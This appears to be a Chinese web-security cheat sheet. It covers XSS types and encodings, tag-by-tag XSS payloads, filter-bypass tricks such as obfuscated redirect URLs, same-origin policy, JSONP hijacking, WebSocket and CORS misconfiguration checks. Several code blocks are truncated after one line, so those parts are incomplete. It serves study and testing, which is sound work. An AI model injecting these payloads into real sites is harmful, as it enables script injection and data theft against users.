类型 | 内容 | 位置 |
---|---|---|
反射型 | 服务端不保存数据,输入即时反馈到前端执行 | 后端 |
存储型 | 服务端保存数据,由服务端取出反馈到前端执行 | 后端 |
DOM型 | 取出和执行由前端浏览器端完成 | 前端 |
编码对照表
位置 | 示例 | 编码方式 | 编码示例 |
---|---|---|---|
HTML标签之间 | <div>xxoo</div> |
HTML Entity编码 | & |
HTML标签属性 | <img src="xxoo" /> |
HTML Attribute编码 | &#xHH; |
Javascript标签之间 | <script>var xss="xxoo"</script> |
Javascript编码 | \xHH |
HTML标签属性的URL | <a href="/xss?p=xxoo">xss</a> |
URL编码 | %HH |
CSS的Style属性 | <div style="width:xxoo;">xss</div> |
CSS编码 | \HH |
常见标签
类型 | 内容 |
---|---|
<a> |
<a href="xxx" onmouseover=alert(1)>x</a> 、<a href="xxx" onclimbatree=alert(1)>x</a> |
<script> |
<scirpt>alert("xss");</script> |
<img> |
<img src=1 onerror=alert("xss");> |
<input> |
<input onfocus="alert('xss');"> 、<input onfocus="alert('xss');" autofocus> |
<details> |
<details ontoggle="alert('xss');"> 、<details open ontoggle="alert('xss');"> |
<svg> |
<svg onload=alert("xss");> |
<select> |
<select onfocus=alert(1)></select> 、<select onfocus=alert(1) autofocus> |
<iframe> |
<iframe onload=alert("xss");></iframe> |
<video> |
<video><source onerror="alert(1)"> |
<audio> |
<audio src=x onerror=alert("xss");> |
<body> |
<body onload=alert("xss");> |
<textarea> |
<textarea onfocus=alert("xss"); autofocus> |
<keygen> |
<keygen autofocus onfocus=alert(1)> # Firefox |
<marquee> |
<marquee onstart=alert("xss")></marquee> # FireFox、IE |
<isindex> |
<isindex type=image src=1 onerror=alert("xss")> # IE |
<link> |
<link rel=import href="http://127.0.0.1/1.js"> |
javascript伪协议 | <a href="javascript:alert( xss);">xss</a> <iframe src=javascript:alert('xss');></iframe> <form action="Javascript:alert(1)"><input type=submit> |
过滤与绕过
类型 | 内容 | 备注 |
---|---|---|
过滤引号 | <img src="x" onerror=alert(`xss`);> |
编码绕过 JS中用反引号 HTML可不用引号 |
过滤括号 | <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> |
- |
过滤URL | <img src="x" onerror=document.location=`http://%77%77%77%2e.../`> <img src="x" onerror=document.location=`http://2130706433/`> <img src="x" onerror=document.location=`http://0177.0.0.01/`> <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`> <img src="x" onerror=document.location=`//www.baidu.com`> <img src="x" onerror="document.location=`http://www。baidu。com`"> |
URL编码 进制转换 // 代替http:// |
大小写 | <scRiPt>alert(1);</scrIPt> |
- |
过滤标签 | <scr<script>ipt>alert(1)</scr<script>ipt> |
- |
同源策略
同源策略(Same origin policy)是一种约定,同协议、同端口、同主机(域名),目的是为了保证用户信息的安全,防止恶意的网站窃取数据。
- 限制范围
1 | Cookie、LocalStorage 和 IndexDB 无法读取。 |
- 修改源
1 | document.domain = "test.com" |
JSONP
JSONP(JSON with Padding)是实现跨域的一种技术,可以跨域读取数据。
1 | $.getJSON("https://www.xxx.com/jsonp.php?jsoncallback=?", function(data) { |
- callback XSS
当服务器自定义callback
,未定义Content-Type
头,且这样写时会导致XSS:
1 | <?php |
Content-Type
值:
1 | text/json |
- JSNOP劫持
类似CRSF,区别在于JSONP劫持可以回传数据到指定地址,当服务器未做严格的来源校验时,会导致劫持敏感信息,攻击脚本可以这样写:
1 | <script type="text/javascript"> |
- 空Referer
1 | 1. iframe的src javascript伪协议 |
WebSocket
WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议,允许服务端主动向客户端推送数据。
- ws://(非加密)和wss://(加密);
- 建立在 TCP 协议之上;
- 数据轻量化;
- 可发送文本和二进制数据;
- 没有同源策略限制。
1 | var Socket = new WebSocket(url, [protocol] ); |
1 | https://www.runoob.com/html/html5-websocket.html |
CORS
跨域资源共享(CORS) 是一种机制,通过定义额外的HTTP头来使浏览器能够允许不同源之间的资源交互。
- 请求
类型 | 备注 |
---|---|
Origin:<origin> |
表示实际请求的源站 |
Access-Control-Request-Method: <method> |
用于预检请求,表示真实的请求方法 |
Access-Control-Request-Headers: <field-name>[, <field-name>]* |
用于预检请求,表示真实请求所携带的首部字段 |
- 响应
类型 | 备注 |
---|---|
Access-Control-Allow-Origin: ` |
*` |
Access-Control-Allow-Credentials:false | 是否允许浏览器读取Response内容(如Cookie) |
Access-Control-Allow-Methods | 用于预检请求响应,表示允许使用的HTTP方法 |
Access-Control-Allow-Headers | 用于预检请求响应,表示允许携带的头部 |
Access-Control-Expose-Headers | 允许响应时能获取的其他头部 |
Access-Control-Max-Age | Preflight请求的最大响应时间 |
- CORS漏洞
检测方式通常是修改Origin
头字段值,看Access-Control-Allow-Origin
返回的结果。
1 | curl https://www.abc.com -H "Origin: https://test.com" -I |
1 | 1. 发送origin=NULL |